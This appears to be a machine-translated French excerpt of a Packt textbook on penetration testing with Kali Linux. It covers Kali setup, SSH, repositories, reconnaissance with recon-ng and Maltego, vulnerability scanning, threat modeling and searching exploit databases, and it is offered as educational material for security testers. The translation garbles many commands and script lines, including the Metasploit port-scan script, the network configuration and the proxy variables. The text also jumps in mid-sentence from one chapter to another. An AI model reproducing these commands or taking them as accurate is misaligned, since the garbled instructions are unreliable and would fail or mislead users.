réseau principal de l'organisation. L'annexe , Installation de Kali Linux , fournit un aperçu de l'installation de Kali Linux, et comment utiliser un cryptage de disque entier pour éviter une interception de données confidentielles données de test. Ce dont vous avez besoin pour ce livre Afin de pratiquer le matériel présenté dans ce livre, vous aurez besoin de virtualisation des outils tels que VMware ou VirtualBox. Vous devrez télécharger et configurer le système d'exploitation Kali Linux et ses suite d'outils. Pour vous assurer qu'il est à jour et que vous disposez de tous les outils, vous devra avoir accès à une connexion Internet. Malheureusement, tous les outils du système Kali Linux ne seront pas traités car il existe trop d'entre eux. L'objectif de ce livre n'est pas d'inonder le lecteur de toutes les les outils et les options, mais pour fournir une approche de test qui leur donnera la opportunité d'apprendre et d'intégrer de nouveaux outils comme leurs expériences et connaissances change avec le temps. Bien que la plupart des exemples de ce livre se concentrent sur Microsoft Windows, le méthodologie et la plupart des outils sont transférables à d'autres systèmes d'exploitation tels que Linux et les autres versions d'Unix. Enfin, ce livre applique Kali pour compléter la chaîne de destruction de l'attaquant contre la cible systèmes. Vous aurez besoin d'un système d'exploitation cible. Beaucoup d'exemples dans le livre utiliser Microsoft Windows XP. Bien qu'il soit obsolète depuis avril 2014, il fournit
une "base" de comportement standard pour de nombreux outils. Si vous savez comment postuler la méthodologie à un système d'exploitation, vous pouvez l'appliquer à des systèmes d'exploitation plus récents systèmes tels que Windows 7 et Windows 8. 25
Préface [8] A qui s'adresse ce livre Ce livre est destiné aux personnes qui souhaitent en savoir plus sur la sécurité des données. En particulier, il cible les personnes qui veulent comprendre pourquoi elles utilisent un outil quand ils le font, par opposition à ces personnes qui lancent autant d'outils que possible à un système pour voir si un exploit se produira. Mon objectif est que les lecteurs développent leur leur propre méthode et approche pour des tests d'intrusion efficaces, ce qui leur permettra de expérimenter et apprendre au fur et à mesure qu'ils progressent. Je pense que cette approche est la seule efficace moyen de comprendre comment des personnes malveillantes attaquent les systèmes de données et, par conséquent, le seul moyen de comprendre comment arbitrer les vulnérabilités avant qu'elles ne puissent être exploitées. Si vous êtes un professionnel de la sécurité, un testeur d'intrusion ou si vous êtes simplement intéressé par le sécurité des environnements de données complexes, ce livre est fait pour vous. Conventions Dans ce livre, vous trouverez un certain nombre de styles de texte qui distinguent entre différents types d'informations. Voici quelques exemples de ces styles, et un
explication de leur signification. Mots de code dans le texte, noms de table de base de données, noms de dossier, noms de fichiers, extensions de fichiers, les chemins d'accès, les URL factices, les entrées utilisateur et les identifiants Twitter sont affichés comme suit : "Dans ce cas particulier, la VM a reçu une adresse IP de 192.168.204.132 ." Un bloc de code est défini comme suit : # Scanner de ports MSF onhost_add { println("[*] MSF Port Scanner Nouvel hôte OpenPorts on$1"); $console = console(); cmd($console, "utiliser auxiliaire/scanner/portscan/tcp"); cmd($console, "définir les FILS 12"); cmd($console, "définir les PORTS 139, 143"); # entrez d'autres ports si nécessaire cmd($console, "définir RHOSTS $1"); cmd($console, "run -j"); cmd($console, "utiliser auxiliaire/scanner/discovery/udp_sweep"); cmd($console, "définir les FILS 12"); cmd($console, "définir BATCHSIZE 256"); cmd($console, "définir RHOSTS $1"); cmd($console, "run -j"); db_sync(); } Page 26
Préface [9] Toute entrée ou sortie de ligne de commande est écrite comme suit : root@kali~# update-rc.d paramètres réseau par défaut Les nouveaux termes et les mots importants sont indiqués en gras. Les mots que vous voyez sur le
l'écran, dans les menus ou les boîtes de dialogue par exemple, apparaissent dans le texte comme ceci : « Si vous double-cliquez sur l' icône truecrypt1 , vous serez redirigé vers une vue du navigateur de fichiers ." Des avertissements ou des notes importantes apparaissent dans un encadré comme celui-ci. Les trucs et astuces apparaissent comme ceci. Commentaires des lecteurs Les commentaires de nos lecteurs sont toujours les bienvenus. Dites-nous ce que vous en pensez ce livre, ce que vous avez aimé ou peut-être pas aimé. Les commentaires des lecteurs sont importants pour nous pour développer des titres dont vous tirez vraiment le meilleur parti. Pour nous envoyer des commentaires généraux, envoyez simplement un e-mail à [email protected] , et mentionnez le titre du livre via l'objet de votre message. S'il y a un sujet dans lequel vous avez une expertise et que vous êtes intéressé par l'écriture ou contribuer à un livre, consultez notre guide de l'auteur sur www.packtpub.com/authors . Service client Maintenant que vous êtes l'heureux propriétaire d'un livre Packt, nous avons un certain nombre de choses à vous aider à tirer le meilleur parti de votre achat. 27
Préface [ 10 ] Errata Bien que nous ayons pris toutes les précautions nécessaires pour garantir l'exactitude de notre contenu, les erreurs arrive. Si vous trouvez une erreur dans l'un de nos livres, peutêtre une erreur dans le texte ou
le code—nous vous serions reconnaissants de nous le signaler. Ce faisant, vous pouvez sauver les autres lecteurs de la frustration et nous aider à améliorer les versions ultérieures de ce livre. Si vous trouvez des errata, veuillez les signaler en visitant http://www.packtpub. com/submit-errata , en sélectionnant votre livre, en cliquant sur le lien du formulaire de soumission d'errata , et en saisissant les détails de votre errata. Une fois vos errata vérifiés, votre soumission seront acceptés et les errata seront téléchargés sur notre site Web ou ajoutés à toute liste de errata existants, dans la section Errata de ce titre. Tout errata existant peut être consulté en sélectionnant votre titre sur http://www.packtpub.com/support . Le piratage Le piratage de matériel protégé par le droit d'auteur sur Internet est un problème constant dans tous les médias. Chez Packt, nous prenons très au sérieux la protection de nos droits d'auteur et de nos licences. Si tu trouver des copies illégales de nos œuvres, sous quelque forme que ce soit, sur Internet, veuillez nous fournir immédiatement l'adresse de l'emplacement ou le nom du site Web afin que nous puissions poursuivre un recours. Veuillez nous contacter à [email protected] avec un lien vers le suspect matériel piraté. Nous apprécions votre aide dans la protection de nos auteurs, et notre capacité à apporter vous contenu précieux. Des questions Vous pouvez nous contacter à [email protected] si vous rencontrez un problème avec
tout aspect du livre, et nous ferons de notre mieux pour y remédier. Page 28
Clause de non-responsabilité Le contenu de ce livre est uniquement à des fins éducatives. Il est conçu pour aider les utilisateurs testent leur propre système contre les menaces de sécurité de l'information et protègent leur infrastructure informatique contre des attaques similaires. Packt Publishing et l'auteur de ce livre ne prendre aucune responsabilité pour les actions résultant de l'utilisation inappropriée de l'apprentissage matériaux contenus dans ce livre.
Page 29
Partie 1 L'attaquant Tuer la chaîne Commencer avec Kali Linux Identification de la cible – Passif Reconnaissance Reconnaissance active et Analyse des vulnérabilités Exploit Post Exploit – Action sur l'objectif Post Exp loit – Persistance
Page 30
Page 31 Page 32
Commencer avec Kali Linux Kali Linux (Kali) est le successeur de la plateforme de test d'intrusion BackTrack qui est généralement considéré comme l'ensemble d'outils standard de facto utilisé pour faciliter tests de pénétration pour sécuriser les réseaux de données et de voix. Ce chapitre fournit une introduction à Kali, et se concentre sur la personnalisation de Kali pour prendre en charge certains aspects des tests d'intrusion. À la fin de ce chapitre, vous aurez appris : • Un aperçu de Kali • Configuration des services réseau et des communications sécurisées • Mise à jour de Kali • Personnalisation de Kali • Extension des fonctionnalités de Kali avec des applications tierces • Gestion efficace des tests d'intrusion Kali Linux BackTrack ( BT ), ( www.offensive-security.com ) a été publié pour fournir un grande variété de tests d'intrusion et d'outils défensifs qui étaient parfaits pour auditeurs et administrateurs de réseau intéressés à évaluer et à sécuriser leurs réseaux. Les mêmes outils ont été utilisés à la fois par des personnes autorisées et non autorisées. (hackers) testeurs d'intrusion. La version finale de BackTrack, BT 5r3, est sortie en août 2012. Basée sur la plate-forme Ubuntu Linux, il a été largement adopté et pris en charge par la sécurité communauté. Malheureusement, son architecture de fichiers rendait difficile la gestion des
gamme d'outils et les dépendances qui les accompagnent. Page 33
Commencer avec Kali Linux [ 16 ] Dans BackTrack, tous les outils utilisés pour les tests d'intrusion ont été placés dans le répertoire /pentest . Des sous-dossiers tels que /web ou /database ont aidé à définir plus précisément l'emplacement des outils. Trouver et exécuter des outils au sein de cette hiérarchie pourrait être contre-intuitif. Par exemple, est sqlninja, qui identifie une injection SQL, un outil d'évaluation de la vulnérabilité, un outil d'exploitation Web ou un outil d'exploitation de base de données ? En mars 2013, BackTrack a été remplacé par Kali Linux, qui utilise une nouvelle plate-forme architecture basée sur le système d'exploitation Debian GNU/Linux. Debian adhère au Filesystem Hierarchy Standard ( FHS ), qui est un avantage sur BackTrack. Au lieu d'avoir à naviguer dans l'arborescence /pentest, vous pouvez appeler un outil de n'importe où sur le système car les applications sont incluses dans le chemin du système. Les autres caractéristiques de Kali sont les suivantes : • Prise en charge de plusieurs environnements de bureau tels que Gnome, KDE, LXDE, et XFCE, et fournit un support multilingue. • Les outils compatibles Debian sont synchronisés avec les référentiels Debian au moins quatre fois par jour, ce qui facilite la mise à jour des packages et l'application correctifs de sécurité.
• Prise en charge des personnalisations ISO, permettant aux utilisateurs de créer leurs propres versions de Kali. La fonction d'amorçage effectue également des installations réseau à l'échelle de l'entreprise qui peut être automatisé à l'aide de fichiers de pré-amorçage. • Le support ARMEL et ARMHF permet à Kali d'être installé sur des appareils tels que Raspberry Pi, ODROID-U2/-X2 et le Chromebook Samsung. • Plus de 300 outils d'analyse de données et de défense des tests d'intrusion sont inclus. Ils fournissent une prise en charge sans fil étendue avec des correctifs de noyau pour permettre le injection de paquets requise par certaines attaques sans fil. • Kali reste un projet open source et gratuit. Surtout, c'est bien soutenu par une communauté en ligne active. Tout au long de ce livre, nous utiliserons une machine virtuelle VMware ( VM ) de 64 bits Kali (reportez-vous à l' annexe , Installation de Kali Linux pour obtenir des instructions sur l'installation de Kali). Une VM est utilisée car elle permet d'exécuter facilement et rapidement certaines applications dans d'autres systèmes d'exploitation, tels que Microsoft Windows. De plus, une VM peut être archivé avec les résultats d'un test d'intrusion, permettant à l'archive d'être examiné pour déterminer si une vulnérabilité particulière aurait été détectée avec l'ensemble d'outils qui a été utilisé pour les tests. Page 34
Chapitre 1 [ 17 ] Lorsque Kali est lancé, l'utilisateur sera redirigé vers l'interface graphique par défaut du bureau avec un menu
barre en haut et quelques icônes simples. En sélectionnant l'élément de menu Applications , et puis Kali Linux , l'utilisateur aura accès à un système de menu qui contient le Top 10 Security Tools ainsi qu'une série de dossiers, organisés dans l'ordre général qui être suivi lors d'un test d'intrusion, comme le montre la capture d'écran suivante : Le menu sera familier aux utilisateurs de BT 5r3. Cependant, il y a quelques changements, qui incluent un accès simplifié au réseau services et communications. Page 35
Commencer avec Kali Linux [ 18 ] Configuration des services réseau et sécurisé communication La première étape pour pouvoir utiliser Kali est de s'assurer qu'il est connecté à un réseau filaire ou sans fil pour prendre en charge les mises à jour et la personnalisation. Vous devrez peut-être obtenir une adresse IP par DHCP ( Dynamic Host Configuration Protocol ), ou attribuez-en un de manière statique. Tout d'abord, confirmez votre adresse IP à l'aide de ifconfig commande à partir d'une fenêtre de terminal, comme illustré dans la capture d'écran suivante : Dans ce cas particulier, la VM a reçu une adresse IP de 192.168.204.132 . Si une adresse IP n'a pas été obtenue, une adresse peut être attribuée par DHCP en utilisant le commande dhclient eth0 (ou d'autres interfaces disponibles, qui dépendront de la configuration spécifique du système utilisé).
Si une adresse IP statique est utilisée, des informations supplémentaires peuvent être requises. Par exemple, vous pouvez attribuer une IP statique de 192.168.204.128 comme suit : adresse IP de l'hôte : 192.168.204.128 masque de sous-réseau : 255.255.255.0 passerelle par défaut : 192.168.204.1 Serveur DNS : 192.168.204.10 Page 36
Chapitre 1 [ 19 ] Entrez dans une fenêtre de terminal et entrez la commande suivante : root@kali:~# ifonconfig eth0 192.168.204.128/24 root@kali:~# route ajouter par défaut gw 192.168.204.1 root@kali:~# echo nameserver 192.168.204.10 > /etc/resolv.conf Les modifications apportées aux paramètres IP ne sont pas persistantes et seront perdues lorsque Kali est redémarré. Pour rendre les modifications permanentes, vous devrez éditer le fichier /etc/network/ interfaces , comme illustré dans la capture d'écran suivante : Par défaut, Kali ne démarre pas avec le service DHCP activé. Cela annonce la nouvelle adresse IP sur le réseau, et cela peut alerter les administrateurs sur le présence du testeur. Pour certains cas de test, cela peut ne pas être un problème, et il peut être avantageux de faire démarrer automatiquement certains services lors du démarrage. Ceci peut être réalisé en entrant les commandes suivantes : root@kali~# update-rc.d paramètres réseau par défaut root@kali~# /etc/init.d/redémarrage du réseau
Kali s'installe avec des services réseau qui peuvent être démarrés ou arrêtés selon les besoins, y compris DHCP, HTTP, SSH, TFTP et le serveur VNC. Ces services sont généralement invoqués à partir de la ligne de commande, cependant, certains sont accessibles à partir du menu Kali. Page 37
Commencer avec Kali Linux [ 20 ] Ajuster les paramètres du proxy réseau Utilisateurs situés derrière un proxy authentifié ou non authentifié la connexion doit modifier bash.bashrc et apt.conf . Les deux fichiers se trouvent dans le répertoire /root/etc . 1. Modifiez le fichier bash.bashrc , comme indiqué dans la capture d'écran suivante, utilisez un texte éditeur pour ajouter les lignes suivantes au bas du fichier bash.bashrc : export ftp_proxy="ftp://user:password@proxyIP:port" export http_proxy="http://user:password@proxyIP:port" export https_proxy="https://user:password@proxyIP:port" export chaussettes_proxy="https://user:password@proxyIP:port" 2. Remplacez proxyIP et port par votre adresse IP proxy et votre numéro de port respectivement, et remplacez le nom d'utilisateur et le mot de passe par votre nom d'utilisateur et mot de passe d'authentification. S'il n'est pas nécessaire de s'authentifier, n'écrivez que la partie qui suit le symbole @ . 3. Dans le même répertoire, créez le fichier apt.conf et saisissez ce qui suit
lignes de commande, comme illustré dans la capture d'écran suivante : Page 38
Chapitre 1 [ 21 ] 4. Enregistrez et fermez le fichier. Déconnectez-vous puis connectez-vous pour activer les nouveaux paramètres. Sécurisation des communications avec Secure Shell Pour minimiser la détection par un réseau cible lors des tests, Kali n'active aucun services de réseau d'écoute externe. Certains services, tels que Secure Shell ( SSH ), sont déjà installés. Cependant, ils doivent être activés avant utilisation. Kali est préconfiguré avec des clés SSH par défaut. Avant de démarrer le service SSH, c'est une bonne idée de désactiver les clés par défaut et de générer un jeu de clés unique à utiliser. Déplacez les clés SSH par défaut vers un dossier de sauvegarde, puis générez un nouveau jeu de clés SSH à l'aide de la commande suivante : dpkg-reconfigurer openssh-server Le processus de déplacement des clés d'origine et de génération du nouveau jeu de clés est illustré dans la capture d'écran suivante.
Page 39
Commencer avec Kali Linux [ 22 ] Pour vérifier que les clés nouvellement générées sont uniques, calculez leur hachage md5sum valeurs et comparer avec les clés d'origine comme indiqué dans la capture d'écran suivante.
Pour démarrer le service SSH à l'aide du menu, sélectionnez Applications | Kali Linux | Services système | SSHD | Démarrage SSHD . Pour démarrer SSH à partir de la ligne de commande, utilisez la ligne de commande indiquée dans le capture d'écran suivante : Pour vérifier que SSH est en cours d'exécution, effectuez une requête netstat , comme indiqué dans le capture d'écran suivante : Le démon SSH écoute sur le port 22 dans l'exemple précédent. Pour arrêter SSH, utilisez la commande suivante : /etc/init.d/ssh stop Page 40
Chapitre 1 [ 23 ] Mise à jour de Kali Linux Kali doit être corrigé régulièrement pour garantir que le système d'exploitation de base et les applications sont à jour et que les correctifs de sécurité ont été appliqués. Le système de gestion de paquets Debian Le système de gestion de paquets de Debian repose sur des applications groupées discrètes appelés paquets . Les packages peuvent être installés ou supprimés par l'utilisateur pour personnaliser le l'environnement et les tâches de support telles que les tests d'intrusion. Ils peuvent également s'étendre la fonctionnalité de Kali, les tâches de support, telles que les communications (Skype, messagerie et e-mails sécurisés) ou de la documentation (OpenOffice et Microsoft Office fonctionnant sous Wine).
Les packages sont stockés dans des référentiels et sont téléchargés vers l'utilisateur du système pour garantir l'intégrité du colis. Paquets et référentiels Par défaut, Kali utilise uniquement les référentiels officiels de Kali. Il est possible qu'un processus d'installation incomplet peut ne pas ajouter les référentiels aux sources correctes . list , ou que vous souhaiterez peut-être étendre les référentiels disponibles lors de nouveaux les applications sont ajoutées. La mise à jour du fichier source.list peut se faire depuis la ligne de commande ( echo deb http://http.kali.org/kiali kali main contrib non-free >> /etc/apt/ sources.list ), ou en utilisant un éditeur de texte. Les référentiels de packages par défaut qui devraient être présents dans /etc/apt/sources.list sont répertoriés comme suit ; s'il n'est pas présent, modifiez le fichier sources.list pour les inclure : ## Kali deb http://http.kali.org/kali kali main contrib non-free ## Kali-dev deb http://http.kali.org/kali kali-dev main contrib non libre ## Mises à jour de sécurité Kali deb http://security.kali.org/kali-security kali/updates main contribution non-gratuite Tous les outils Kali ne sont pas actuellement conservés dans les référentiels d'outils officiels. Si tu choisir de mettre à jour un outil manuellement, il est possible que vous écrasez l'existant fichiers empaquetés et rompre les dépendances. Par conséquent, certains outils qui n'ont pas été officiellement déplacé vers les référentiels Debian, tels que aircrack-ng , dnsrecon , sqlmap ,
boeuf-xss et Social Engineering Toolkit (se-toolkit), sont maintenus dans le Bleeding Référentiel Edge. Ce référentiel peut également être ajouté à sources.list en utilisant le ligne de commande suivante : ## Référentiel Bleeding Edge deb http://repo.kali.org/kali kali kali-bleeding-edge main Page 41
Commencer avec Kali Linux [ 24 ] Dpkg Dpkg est le système de gestion de paquets de Debian. Cette application en ligne de commande est utilisé pour installer, supprimer et interroger des packages. En général, dpkg effectue des actions sur forfaits individuels. dpkg est particulièrement utile pour compiler une liste des applications dans Kali en utilisant la commande dpkg -l > list.txt. Si vous voulez savoir si un outil spécifique est installé, utilisez dpkg -l | grep . Charger un module spécifique, tapez load suivi du nom du module. Frappe la touche de tabulation lors de la frappe complètera automatiquement la commande. Si le module a un nom unique, vous pouvez saisir la partie unique du nom, et le module sera chargé sans entrer le chemin complet. La saisie des informations , comme illustré dans la capture d'écran suivante, vous fournira avec des informations sur le fonctionnement du module et où obtenir les clés API
si nécessaire. 102
chapitre 3 [ 85 ] 4. Une fois que le module est chargé, utilisez le jeu commande pour définir les options, puis entrez run pour exécuter, comme indiqué dans la capture d'écran suivante : En général, les testeurs s'appuient sur recon-ng pour effectuer les opérations suivantes : • Récoltez des contacts à l'aide de whois , jigsaw , linkedin et twitter (utilisez le module mangle pour extraire et présenter les données des e-mails) • Identifier les hôtes • Identifier les emplacements géographiques des hôtes et des individus à l'aide d' hostop , ipinfodb , maxmind , uniapple et wigle • Identifier les informations sur l'hôte à l'aide de netcraft et des modules associés • Identifier les informations de compte et de mot de passe qui ont déjà été compromis et fuite sur Internet (les modules pwnedlist , wascompanyhacked , xssed et punkspider ) Maltego Maltego ( www.paterva.com ) est une application open source de renseignement et de médecine légale. La version communautaire incluse avec Kali fixe des limites sur la taille des recherches ; cependant, c'est un excellent outil pour visualiser les relations entre les données qui utilisent l'exploration de données et l'analyse des liens.
103
Reconnaissance active et analyse des vulnérabilités [ 86 ] Maltego vous permet d'énumérer des informations personnelles, reliant une personne en particulier avec une entreprise, des adresses e-mail, des sites Web, des groupes de réseaux sociaux et un téléphone Nombres. Il facilite également la reconnaissance passive et active des informations whois , noms de domaine, informations DNS, adresses IP et netblocks. 1. Pour ouvrir l'application, entrez maltego comme invite de commande. La première fois vous l'ouvrez, vous devrez vous inscrire et vérifier votre adresse e-mail avec Paterva. 2. Une fois que vous avez terminé l'enregistrement et la mise à jour des transformations, vous serez présenté avec une interface graphique à plusieurs volets qui vous permet de examiner les connexions entre divers objets de données, comme indiqué dans la capture d'écran suivante : Maltego s'appuie sur une série de transformations ou de modules qui sont stockés dans un palette sur le côté gauche de l'application. Les transformations sont sélectionnées par en les sélectionnant dans la colonne de gauche, puis en les faisant glisser dans le centre de l'application. Par défaut, l'icône peut s'appeler pantera.com lors de sa sélection initiale ; cependant, vous pouvez utiliser les zones de manipulation de données dans la colonne de droite pour renommer et modifier des données. Plusieurs transformations différentes existent dans l'édition communautaire ; ceux-ci sont
triés en plusieurs groupes tels que Périphériques , Infrastructure , Personnel , Emplacements , tests de pénétration et réseau social , comme indiqué dans le capture d'écran suivante : 104
chapitre 3 [ 87 ] 3. Faites glisser la transformation appropriée sur la feuille de travail et faites un clic droit pour révéler les transformations qui seront accomplies contre l'identité de cette transformation. Gardez à l'esprit que si vous sélectionnez l' option Tout , le traitement prendra un temps considérable. La capacité d'analyser les relations est particulièrement utile pour attaques d'ingénierie. Par exemple, si le site Web de la cible contient plusieurs liens vers un autre site Web, un attaquant pourrait utiliser cette relation pour une attaque de phishing.
Reconnaissance active et analyse des vulnérabilités [ 88 ] Analyse des vulnérabilités L'analyse des vulnérabilités utilise des processus et des applications automatisés pour identifier les vulnérabilités d'un réseau, d'un système, d'un système d'exploitation ou d'une application qui peut être exploitable. Lorsqu'elle est effectuée correctement, une analyse de vulnérabilité fournit un inventaire des périphériques
105
(à la fois les appareils autorisés et les appareils malveillants ), les vulnérabilités connues qui ont été activement recherché, et généralement une confirmation de la conformité des appareils avec diverses politiques et réglementations. Malheureusement, les analyses de vulnérabilité sont bruyantes — elles délivrent plusieurs paquets qui sont facilement détecté par la plupart des contrôles de réseau et rend la furtivité presque impossible à réaliser. Ils souffrent également des limitations supplémentaires suivantes : • Pour la plupart, les scanners de vulnérabilité sont basés sur des signatures : ils ne peuvent détecter les vulnérabilités connues, et seulement s'il existe une reconnaissance existante signature que le scanner peut appliquer à la cible. À un testeur d'intrusion, les scanners les plus efficaces sont open source et permettent au testeur de rapidement modifier le code pour détecter de nouvelles vulnérabilités. • Les scanners produisent de gros volumes de sortie, contenant fréquemment de faux des résultats positifs qui peuvent égarer un testeur ; en particulier, les réseaux avec différents systèmes d'exploitation peuvent produire des faux positifs avec un taux aussi élevé que soixante-dix pour cent. • Les scanners peuvent avoir un impact négatif sur le réseau : ils peuvent créer latence du réseau ou provoquer la panne de certains appareils (reportez-vous à la section Réseau Scanning Watch List sur www.digininja.org , pour les appareils connus pour échouer en tant que résultat des tests de vulnérabilité).
• Dans certaines juridictions, la numérisation est considérée comme du piratage et peut constituer un acte illégal. Il existe plusieurs produits commerciaux et open source qui exécutent la vulnérabilité scanne. Dans Kali, les outils d'analyse peuvent être trouvés dans l' analyse de vulnérabilité sous-menu, ainsi que le menu Web Vulnerability Scanners ; cependant, le principal Le scanner de vulnérabilité est Open Vulnerability Assessment System ( OpenVAS ). Kali prend en charge l'installation de scanners supplémentaires. S'il est décidé de sacrifier furtif pour l'exhaustivité lors des tests, utilisez toujours au moins deux scanners pour minimiser les résultats faussement positifs. Les scanners recommandés incluent Nexpose ( www.rapid7.com ) et le vénérable Nessus ( www.nessus.org ). 106
chapitre 3 [ 89 ] Sommaire Lors de la reconnaissance active, les attaquants sont confrontés à une chance très réelle de leurs activités identifiés, les mettant en danger. Cela doit être mis en balance avec la nécessité de cartographier un réseau, trouver les ports ouverts et déterminer le système d'exploitation et les applications qui sont installés. Pour réduire les risques, les attaquants doivent adopter des techniques d'analyse furtives. Manuel des approches sont utilisées pour créer des analyses lentes ; cependant, cette approche n'est pas toujours
efficace. Par conséquent, les attaquants profitent d'outils tels que le réseau Tor et diverses applications de proxy pour masquer leur identité. Dans le prochain chapitre, nous nous concentrerons sur l'analyse des données de la reconnaissance étapes et à partir d'autres sources, et l'utiliser pour planifier et exécuter un exploit à distance contre un réseau ou un système cible. Nous passerons en revue diverses techniques d'attaque et outils et se concentrer sur la façon de s'assurer que l'exploit ne peut pas être détecté par la normale moyens. Nous examinerons également l'exploitation à distance en tant que processus continu, une fois que vous ont compromis une cible, comment tirer parti de ce succès pour pivoter vers de nouvelles cibles. 107 108
Exploit Le but de la reconnaissance passive et active est d'identifier la sécurité exploitable failles les plus susceptibles de soutenir l'objectif du testeur ou de l'attaquant (déni de service, vol ou modification de données). La phase d'exploit de la kill chain se concentre sur créer l'accès pour atteindre l'objectif - soit arrêter l'accès à une cible en créant un déni de service ou l'approche plus courante consistant à établir des l'accès à la cible de l'attaquant. Le testeur de pénétration doit être concerné par les aspects suivants de la phase d'exploitation :
• La cible a-t-elle été entièrement caractérisée ? Si l'attaquant ne comprend pas le architecture réseau et hôte de la cible, l'attaque échouera et il y aura être un risque accru de détection. • L'exploit est-il bien connu, avec des actions définies sur le système cible ? Un exploit non caractérisé pourrait avoir des conséquences inattendues lorsque employés et les dommages qui en résultent pourraient avoir un impact négatif sur le processus de test. Les testeurs doivent valider tous les exploits dans un cadre connu avant utiliser. • L'exploit est-il effectué à partir d'un emplacement distant ou est-il local sur le système cible ? Un exploit à distance est plus sûr pour l'attaquant car les chances d'être positivement identifié sont moindres; cependant, un exploit local donne l'attaquant plus de contrôle sur l'action de l'exploit et réduit la possibilité de détection. • Quelles sont les activités post-exploitation requises ? Si l'attaquant doit exfiltrer les données de la cible, alors l'exploit doit prendre en charge l'établissement une connexion interactive. • Un accès persistant au système compromis est-il requis, ou est-ce que le compromis va être à court terme? Cela entraînera l'exigence de une approche furtive.
Exploit
Page 109
[ 92 ] Des milliers de vulnérabilités exploitables ont été identifiées, et la plupart sont associé à au moins un code ou une technique de validation de principe pour permettre au système de être compromis. Néanmoins, les principes sous-jacents qui régissent le succès sont les même sur les réseaux, les systèmes d'exploitation et les applications. Dans ce chapitre, vous apprendrez : • Modélisation des menaces • Utilisation de ressources de vulnérabilité en ligne et locales • Exploitation d'une cible distante à l'aide du Framework Metasploit • Exploiter plusieurs cibles avec Armitage • Identifiants de contournement et détection antivirus Modélisation des menaces Les phases de reconnaissance passive et active cartographient le réseau cible et système et identifier les vulnérabilités pouvant être exploitées pour atteindre les objectifs de l'attaquant objectif. Au cours de cette étape de la kill chain de l'attaquant, il existe une forte tendance à action : les testeurs veulent lancer immédiatement des exploits et démontrer qu'ils peuvent compromettre la cible. Cependant, une attaque imprévue peut ne pas être la plus efficace moyen d'atteindre l'objectif, et il peut sacrifier la furtivité qui est nécessaire pour atteindre l'objectif de l'attaque. Les testeurs de pénétration ont adopté (de manière formelle ou informelle) un processus connu sous le nom de la modélisation des menaces, qui a été développée à l'origine par les planificateurs de réseau pour développer contre-mesures défensives contre une attaque.
Les testeurs de pénétration et les attaquants ont transformé la modélisation des menaces défensives méthodologie sur sa tête pour améliorer le succès d'une attaque. Menace offensive la modélisation est une approche formelle qui combine les résultats de la reconnaissance et recherche pour développer une stratégie d'attaque. Un attaquant doit tenir compte de la disponibilité cibles et identifiez le type de cibles répertoriées comme suit : • Cibles primaires : Ces cibles lorsqu'elles sont compromises, ces cibles soutenir immédiatement l'objectif. • Cibles secondaires : Ces cibles peuvent fournir des informations (contrôles de sécurité, les politiques de mot de passe et de journalisation, et les noms d'administrateur local et de domaine et mots de passe) pour soutenir une attaque ou autoriser l'accès à une cible principale. • Cibles tertiaires : ces cibles peuvent être sans rapport avec le test ou l'attaque objectifs, mais sont relativement faciles à compromettre et peuvent fournir informations ou une distraction de l'attaque réelle. Page 110
Chapitre 4 [ 93 ] Pour chaque type de cible, le testeur doit déterminer l'approche à utiliser. Un seul la vulnérabilité peut être attaquée en utilisant des techniques furtives ou plusieurs cibles peuvent être attaqué en utilisant un volume d'attaques afin d'exploiter rapidement une cible. Si une grande échelle attaque est mise en œuvre, le bruit dans les dispositifs de contrôle du défenseur provoquera fréquemment
pour minimiser la connexion au routeur et au pare-feu ou même les désactiver complètement. L'approche à utiliser guidera la sélection de l'exploit. En général, les attaquants suivre une méthodologie d'arbre d'attaque lors de la création d'un modèle de menace, comme indiqué dans le schéma suivant : Faire des compromis email de l'ingénieur Compte Compromis le serveur de l'ingénieur Obtenir l'accès informations d'identification à l'aide enregistreur de clavier Exploit connu débordement de la mémoire tampon vers obtenir un accès root Exploit vulnérabilité dans l'accès à Internet interface Besoin d'acquérir propriétaire ingénierie documents L'approche de l'arbre d'attaque permet au testeur de visualiser facilement les options d'attaque qui sont disponibles et les options alternatives qui peuvent être utilisées si une attaque sélectionnée est sans succès. Une fois qu'un arbre d'attaque a été généré, la prochaine étape de l'exploit consiste à identifier les exploits pouvant être utilisés pour compromettre les vulnérabilités dans la cible.
Utilisation de la vulnérabilité en ligne et locale Ressources Ensemble, la reconnaissance passive et active identifie la surface d'attaque du cible, c'est-à-dire le nombre total de points pouvant être évalués pour les vulnérabilités. Un serveur avec juste un système d'exploitation installé ne peut être exploité que s'il y a les vulnérabilités de ce système d'exploitation particulier ; cependant, le nombre de potentiels les vulnérabilités augmentent avec chaque application installée. Page 111
Exploit [ 94 ] Les testeurs de pénétration et les attaquants doivent trouver les exploits particuliers qui compromettre les vulnérabilités connues et suspectées. Le premier endroit pour commencer la recherche est sur les sites des fournisseurs ; la plupart des fournisseurs de matériel et d'applications publient des informations sur vulnérabilités lors de la publication de correctifs et de mises à niveau. Si un exploit pour un particulier la faiblesse est connue, la plupart des vendeurs le souligneront à leurs clients. Même si leur intention est de permettre aux clients de tester la présence de la vulnérabilité eux-mêmes, les attaquants et les testeurs d'intrusion profiteront de cette information également. Autres sites en ligne qui collectent, analysent et partagent des informations sur les vulnérabilités sont les suivants: • La base de données nationale sur les vulnérabilités qui regroupe tous les
données de vulnérabilité publiées par le gouvernement des États-Unis disponibles sur http://web.nvd.nist.gov/view/vuln/search • Secunia disponible sur http://secunia.com/community/ • Open Source Vulnerability Database Project ( OSVDP ) disponible sur http://www.osvdb.org/search/advsearch • Sécurité Packetstorm disponible sur http://packetstormsecurity.com/ • SecurityFocus disponible sur http://www.securityfocus.com/ vulnérabilités • Inj3ct0r disponible sur http://1337day.com/ • La base de données d'exploitation maintenue par Offensive Security disponible sur http://www.db-exploit.com La base de données des exploits est également copiée localement dans Kali et se trouve dans le répertoire /usr/ répertoire share/exploitdb . Avant de l'utiliser, assurez-vous qu'il a été mis à jour à l'aide de la commande suivante : cd /usr/share/exploitdb wget http://www.exploit-db.com/archive.tar.bz2 tar -xvjf archive.tar.bz2 rm archive.tar.bz2 Pour rechercher la copie locale d' exploitdb , ouvrez une fenêtre de terminal et entrez searchsploit et le ou les termes de recherche souhaités dans l'invite de commande. Cette volonté invoquez un script qui recherche un fichier de base de données ( .csv ) qui contient une liste de tous les exploits. La recherche renverra une description des vulnérabilités connues ainsi que le chemin vers un exploit pertinent. L'exploit peut être extrait, compilé et exécuté contre des
vulnérabilités. Jetez un œil à la capture d'écran suivante, qui montre la description des vulnérabilités : 112
